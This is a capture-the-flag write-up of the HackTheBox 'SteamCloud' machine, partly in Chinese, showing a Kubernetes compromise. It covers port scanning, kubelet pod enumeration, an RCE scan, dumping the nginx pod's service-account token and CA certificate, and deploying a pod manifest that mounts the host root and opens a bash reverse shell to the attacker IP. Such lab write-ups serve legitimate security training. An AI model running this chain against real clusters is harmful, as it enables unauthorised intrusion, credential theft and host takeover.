SteamCloud on HackTheBox

Before all

Victim’s IP : 10.10.11.133
Attacker’s IP : 10.10.14.14

RECON

Command

1
rustscan -a 10.10.11.133 --ulimit 5000 -- -sC -sV -Pn

Result

1
2
3
4
5
6
7
Open 10.10.11.133:22
Open 10.10.11.133:2379
Open 10.10.11.133:2380
Open 10.10.11.133:8443
Open 10.10.11.133:10249
Open 10.10.11.133:10250
Open 10.10.11.133:10256

從一些外放資訊及Google找 port 會發現是一組 kubernetes

Exploit

使用的兩個工具:
https://github.com/kubernetes/kubectl
https://github.com/cyberark/kubeletctl

pods enumeration

列出所有pod:
Command

1
kubeletctl pods --server 10.10.11.133

Result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌────────────────────────────────────────────────────────────────────────────────┐
│ Pods from Kubelet │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│ │ POD │ NAMESPACE │ CONTAINERS │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ kube-proxy-fzqrl │ kube-system │ kube-proxy │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ storage-provisioner │ kube-system │ storage-provisioner │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ coredns-78fcd69978-7g7nh │ kube-system │ coredns │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ nginx │ default │ nginx │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ etcd-steamcloud │ kube-system │ etcd │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │
│ │ │ │ │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘

發現有 default 的 namespace,在這環境下是比較可能允許進行直接操作的
接下來利用 find 命令尋找可能 rce 的對象:

1
kubeletctl scan --server 10.10.11.133 rce
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ Node with pods vulnerable to RCE │
├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│ │ NODE IP │ PODS │ NAMESPACE │ CONTAINERS │ RCE │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ │ │ │ │ │ RUN │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.10.11.133 │ etcd-steamcloud │ kube-system │ etcd │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │ │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 3 │ │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 4 │ │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 5 │ │ kube-proxy-fzqrl │ kube-system │ kube-proxy │ + │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 6 │ │ storage-provisioner │ kube-system │ storage-provisioner │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 7 │ │ coredns-78fcd69978-7g7nh │ kube-system │ coredns │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 8 │ │ nginx │ default │ nginx │ + │
└───┴──────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘

注意到剛剛的 nginx 真的是可以 RCE 的

credential dump

把 token 及憑證拿出來

1
2
kubeletctl exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" --server 10.10.11.133 -p nginx -c nginx 
kubeletctl exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" --server 10.10.11.133 -p nginx -c nginx

其中 token 的內容我 export 成環境變數 $token
Command

1
kubectl auth can-i --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 --list

Result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods [] [] [get create list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
`

對 pods 有 [get create list] 的全權限

Mount to Host

接下來建立一個昕的 pod,把主機的跟目錄掛載上去並植入 reverse shell:
exp.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
apiVersion: v1
kind: Pod
metadata:
name: revshell
spec:
containers:
- name: revshell
image: nginx:1.14.2
command: ["bash"]
args: ["-c", "bash -i >& /dev/tcp/10.10.14.14/9999 0>&1"]
ports:
- containerPort: 80
volumeMounts:
- name: host-root
mountPath: /host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory

最後用 kubectl 部署出去就好:
Command

1
kubectl apply -f test1.yaml --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443